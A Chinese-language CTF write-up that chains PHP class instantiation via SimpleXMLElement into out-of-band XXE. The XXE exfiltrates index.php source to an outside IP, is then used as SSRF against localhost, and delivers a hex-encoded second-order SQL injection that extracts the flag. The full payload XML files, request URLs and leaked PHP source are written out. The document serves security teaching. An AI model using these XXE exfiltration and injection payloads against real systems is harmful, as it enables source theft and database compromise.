题目介绍
注册账号,登录作业平台。看到一个calc
计算器类。有两个按钮,一个用于调用calc
类实现两位数的四则运算。另一个用于提交代码。
我们点击cacl按钮,计算2+2=4,我们观察参数,再结合代码可知module为调用的类,args为类的构造方法的参数~
在PHP中存在内置类。其中包括SimpleXMLElement
,文档中对于SimpleXMLElement::__construct
定义如下:
可以看到通过设置第三个参数为true
,可实现远程xml文件载入。第二个参数的常量值我们设置为2
即可。第二个参数可定义的所有常量在这里。第一个参数就是我们自己设置的payload的地址,用于引入外部实体。
我们构造的xml如下~
obj.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://174.0.159.143/e.xml">
%int;
%all;
%send;
]>
e.xml
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://174.0.159.143/?%payl;'>">
然后进入show.php
页面~~我们的参数为:
/show.php?module=SimpleXMLElement&args[]=http://174.0.159.143/obj.xml&args[]=2&args[]=true
第一个参数为我们obj.xml
的地址,这样就能加载obj.xml,再加载e.xml,网站的源码带出~~
function.php
<?php
function sql_result($sql,$mysql){
if($result=mysqli_query($mysql,$sql)){
$result_array=mysqli_fetch_all($result);
return $result_array;
}else{
echo mysqli_error($mysql);
return "Failed";
}
}
function upload_file($mysql){
if($_FILES){
if($_FILES['file']['size']>2*1024*1024){
die("File is larger than 2M, forbidden upload");
}
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand());
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{
die("Not upload file");
}
}
}
function w_addslashes($string){
return addslashes(trim($string));
}
function do_api($module,$args){
$class = new ReflectionClass($module);
$a=$class->newInstanceArgs($args);
}
?>
show.php
<?php
include("function.php");
include("config.php");
include("calc.php");
if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
$module=$_GET['module'];
$args=$_GET['args'];
do_api($module,$args);
?>
我们审计一下源码,可以发现文件上传存在二次注入~~
在show.php中,直接将数据库中的数据取出然后放入sql语句中~~
我们存放sig
的时候 可以传入十六进制~~
但是这儿有一个问题,我们必须是127.0.0.1才能访问show.php页面,展示图片信息~~
由于show.php页面会直接返回我们注入的信息,所以我们还是可以用xml将信息带出~~
e.xml
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/show.php?action=view&filename=4.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://174.0.159.143/?%payl;'>">
这儿我们上传的文件为4.txt,然后我们上传的十六进制为:
0x277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c3078376529297c7c27
解码为:
'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'
我这儿加了一个reverse
,是因为buu上面的flag过长,不能一下报错读取完,所以我分两次读取~~
上传玩文件后再进入一下这个页面,就能在服务器上读取信息了~~
/show.php?module=SimpleXMLElement&args[]=http://174.0.159.143/obj.xml&args[]=2&args[]=true
总结
我们上传文件的时候,如果已经上传了1.txt,如果还想注入下一个sql语句,我们就得更换文件名,注意将e.xml中的上传文件名也换过来~~
这道题目只要是利用了
- php的调用类
- xxe外带数据
- xxe进行ssrf